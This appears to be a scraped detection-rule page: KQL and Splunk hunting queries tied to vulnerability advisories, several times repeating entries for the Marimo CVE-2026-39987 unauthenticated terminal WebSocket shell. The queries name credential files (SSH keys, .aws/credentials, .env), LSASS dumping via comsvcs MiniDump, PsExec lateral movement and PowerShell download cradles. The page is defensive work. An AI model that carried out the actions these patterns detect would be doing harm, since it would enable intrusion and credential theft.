| where ProcessCommandLine has "PixelPaint.dll"
or (ProcessCommandLine has_any ("Invoke-WebRequest","DownloadFile","DownloadString","WebClient") and ProcessCommandLine has "PixelPaint")
| project DeviceId, PsTime=Timestamp, ProcessCommandLine;
StartupDrops
| join kind=inner PsRefetch on DeviceId
| where abs(datetime_diff('minute', StartupTime, PsTime)) <= 60
| project StartupTime, PsTime, DeviceName, StartupFile, StartupPath, Dropper, ProcessCommandLine
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" AND (Filesystem.file_name="*.lnk" OR Filesystem.file_name="*.cmd" OR Filesystem.file_name="*.bat") AND (Filesystem.process_name="msiexec.exe" OR Filesystem.process_name="wscript.exe" OR Filesystem.process_name="cscript.exe" OR Filesystem.process_name="powershell.exe") by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name Filesystem.process_name | `drop_dm_object_name(Filesystem)` | join type=inner dest [| tstats summariesonly=t count from datamodel=Endpoint.Processes where Processes.process_name IN ("powershell.exe","pwsh.exe") AND (Processes.process="*PixelPaint.dll*" OR Processes.process="*Invoke-WebRequest*PixelPaint*" OR Processes.process="*DownloadFile*PixelPaint*") by Processes.dest Processes.user Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)`
2026-04-134 use cases1 technique3 kill-chain phases detected
Microsoft Visual Basic for Applications (VBA) contains an insecure library loading vulnerability that could allow for remote code execution. Vendor: Microsoft, Product: Visual Basic for Applications (VBA). Federal patch due: 2026-04-27.
CVEsCVE-2012-1854
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2012-1854")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2012-1854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-134 use cases0 techniques3 kill-chain phases detected
Microsoft Windows contains a link following vulnerability that allows for privilege escalation Vendor: Microsoft, Product: Windows. Federal patch due: 2026-04-27.
CVEsCVE-2025-60710
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-60710")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-60710")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-137 use cases2 techniques3 kill-chain phases detected
Microsoft Exchange Server contains a deserialization of untrusted data that allows an authenticated attacker to achieve remote code execution. Vendor: Microsoft, Product: Exchange Server. Known ransomware use: Known. Federal patch due: 2026-04-27.
CVEsCVE-2023-21529
ATT&CKT1190T1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-21529")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-21529")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-134 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Common Log File System Driver contains an out-of-bounds read vulnerability that could allow a threat actor for privileges escalation Vendor: Microsoft, Product: Windows. Federal patch due: 2026-04-27.
CVEsCVE-2023-36424
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-36424")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-36424")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
